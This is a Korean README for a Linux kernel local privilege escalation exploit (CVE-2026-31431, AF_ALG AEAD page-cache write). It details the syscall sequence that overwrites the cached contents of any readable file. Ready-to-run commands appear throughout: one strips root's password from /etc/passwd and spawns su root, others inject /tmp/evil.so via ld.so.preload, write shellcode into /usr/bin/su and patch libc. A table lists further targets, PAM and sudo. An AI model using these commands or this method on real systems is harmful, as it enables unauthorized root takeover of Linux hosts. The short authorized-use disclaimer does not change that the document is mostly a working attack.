
CVE-2026-31431에 대한 익스플로잇으로, Linux 커널 AF_ALG AEAD 페이지 캐시 쓰기 취약점으로, 권한이 없는 사용자가 읽기 가능한 파일에 임의의 4바이트 쓰기를 수행하여 로컬 권한 상승을 가능하게 합니다.
Linux 커널 페이지 캐시 권한 초과 쓰기 취약점 (AF_ALG AEAD 산란 리스트 체인 오류)
Linux 커널 algif_aead 인터페이스에 존재하는 취약점으로, 권한 없는 사용자가 임의의 읽기 가능한 파일의 페이지 캐시(page cache)에 임의의 데이터를 쓸 수 있게 합니다 — 파일 권한 검사, 강제 접근 제어(MAC), 무결성 검증을 완전히 우회합니다.
디스크의 파일 내용은 변경되지 않지만, 이후 해당 파일을 읽는 모든 프로세스(SUID 프로그램, 동적 링커, execve() 등)는 페이지 캐시가 회수될 때까지 공격자가 변조한 버전을 보게 됩니다.
| 항목 | 설명 |
|---|---|
| 서브시스템 | crypto/algif_aead.c |
| 알고리즘 | authencesn(hmac(sha256),cbc(aes)) |
| 커널 설정 | CONFIG_CRYPTO_USER_API_AEAD=y/m (거의 모든 주요 배포판에서 기본 활성화) |
| 필요 권한 | 없음 — 대상 파일에 대한 읽기 권한만 있으면 됨 |
| 위험 등급 | 로컬 권한 상승 → root |
| 영향 받는 배포판 | Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE 등 |
AF_ALG를 통해 AEAD 복호화를 수행할 때:
sendmsg() + MSG_MORE로 인증 연관 데이터(AAD)를 전송하며, 여기에 공격자가 제어하는 4바이트 seqno_lo가 포함됩니다.splice()를 통해 대상 파일의 페이지 캐시 페이지를 커널 암호화 서브시스템의 전송 산란 리스트(TX SGL)에 주입합니다.sg_chain으로 연결합니다.authencesn 알고리즘은 seqno_lo를 대상 산란 리스트의 assoclen + cryptlen 오프셋에 기록합니다 — 이 위치는 수신 버퍼를 넘어 연결된 페이지 캐시 페이지에 직접 도달합니다.EBADMSG 오류를 반환하지만 페이지 캐시는 이미 변조되었습니다. sendmsg (AAD) splice (파일 페이지)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ RX 버퍼 │─────────────▶│ 페이지 캐시 페이지 │
│ 8바이트 │ │ (파일 내용) │
└──────────┘ └──────────────────────┘
▲
│
authencesn이 여기에 seqno_lo 기록
오프셋 = assoclen + cryptlen
════ 이것이 취약점입니다 ════
seqno_lo의 4바이트는 AAD에서 공격자가 완전히 제어합니다 (무엇을 쓸지)splice의 길이는 페이지 캐시에서의 쓰기 오프셋을 결정합니다 (어디에 쓸지)# /etc/passwd 페이지 캐시를 변조하여 root 비밀번호 제거, su root 자동 실행
./exploit.py escalate
실행 과정:
/etc/passwd 원본 내용을 /tmp/.passwd.bak에 백업root:x:0:0:root:...를 root::0:0:root :...로 변경su root 자동 호출 (비밀번호 불필요)출력 예시:
[*] CVE-2026-31431 — Copy Fail
[*] Mode: remove root password via /etc/passwd
[*] Backup: /tmp/.passwd.bak
[*] Before : root:x:0:0:root:/root:/bin/bash
[*] After : root::0:0:root :/root:/bin/bash
[*] Offset : 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Success: root::0:0:root :/root:/bin/bash
[*] Recovery: echo 3 > /proc/sys/vm/drop_caches
[*] Running: su root (no password needed)
# 기본 구문
./exploit.py write <파일 경로> <오프셋> <데이터>
# 바이너리 파일에서 payload 읽기
./exploit.py write <파일 경로> <오프셋> @payload.bin
# SUID 프로그램의 진입점에 shellcode 작성
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# 프리로드 라이브러리 경로 주입
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# libc 함수 변조 (예: getuid()가 0을 반환하도록)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
# 방법 1: 모든 페이지 캐시를 비워 디스크의 원본 내용 복원
echo 3 > /proc/sys/vm/drop_caches
# 방법 2: 재부팅
reboot
socket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, authenc_키_blob)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → 요청 fd
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ 인증 키 (16바이트 전부 0) │
├─────────────────────────────────────────────┤
│ 암호화 키 (16바이트 전부 0) │
└─────────────────────────────────────────────┘
키 값은 중요하지 않습니다 — HMAC은 반드시 실패하지만, 권한 초과 쓰기는 검증 이전에 완료됩니다.
단계 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = 쓸 값
cmsg = [OP=DECRYPT, IV=전부 0, ASSOCLEN=8],
flags = MSG_MORE)
단계 2: pipe_r, pipe_w = pipe()
단계 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
단계 4: splice(pipe_r → req_fd, count = file_offset + 4)
단계 5: recv(req_fd, ASSOC_LEN + file_offset)
→ authencesn 복호화 트리거
→ seqno_lo가 dst SGL 오프셋 assoclen + cryptlen에 기록됨
→ 해당 오프셋은 페이지 캐시 페이지의 file_offset에 위치
→ HMAC 실패, EBADMSG 반환
→ 페이지 캐시는 이미 변조됨 ✓
dst SGL 레이아웃:
[0 .. 7] → RX 버퍼 (AAD 수신 영역)
[8 .. 8 + file_offset + 3] → 페이지 캐시 페이지 (splice 주입)
seqno_lo 기록 위치:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= 페이지 캐시의 file_offset 위치
∴ 공격자가 file_offset 제어 → 기록 위치 제어
공격자가 seqno_lo 제어 → 기록 내용 제어
.
├── exploit.py # 자체 포함 익스플로잇 스크립트 (Python 3 + Linux만 필요)
└── README.md # 본 파일
본 도구는 승인된 보안 연구 및 침투 테스트 전용입니다. 승인 없이 본 도구를 사용하여 타인의 시스템을 공격하는 것은 불법 행위입니다. 사용자는 모든 법적 책임을 스스로 부담해야 합니다.
| 제약 | 설명 |
|---|
| 읽기 권한 | 대상 파일이 현재 사용자에게 읽기 가능해야 함 (O_RDONLY) |
| 정렬 | 4바이트 단위로 쓰기; 4바이트 미만의 나머지는 0x90으로 패딩 |
| 파일 크기 | 파일 크기가 오프셋 + 데이터 길이 + 4바이트 이상이어야 함 |
| 페이지 캐시 전용 | 디스크의 파일 내용은 변경되지 않음 |
| 지속성 | 페이지 캐시가 회수되거나 수동으로 비워질 때까지 유효 |
| 커널 설정 | AF_ALG + authencesn 사용 가능 필요 (주요 배포판 기본 포함) |
| 공격 경로 | 대상 파일 | 효과 |
|---|
| root 비밀번호 제거 | /etc/passwd | su root 비밀번호 불필요 |
| 프리로드 라이브러리 주입 | /etc/ld.so.preload | 모든 프로그램이 악성 .so 로드 |
| SUID 프로그램 변조 | /usr/bin/su 등 | shellcode 실행으로 root shell 획득 |
| libc 변조 | /usr/lib/libc.so.6 | getuid() 등 함수를 가로채 0 반환 |
| PAM 모듈 변조 | /usr/lib/security/pam_unix.so | 모든 인증 우회 |
| sudo 변조 | /usr/bin/sudo | 임의 사용자가 직접 root 획득 |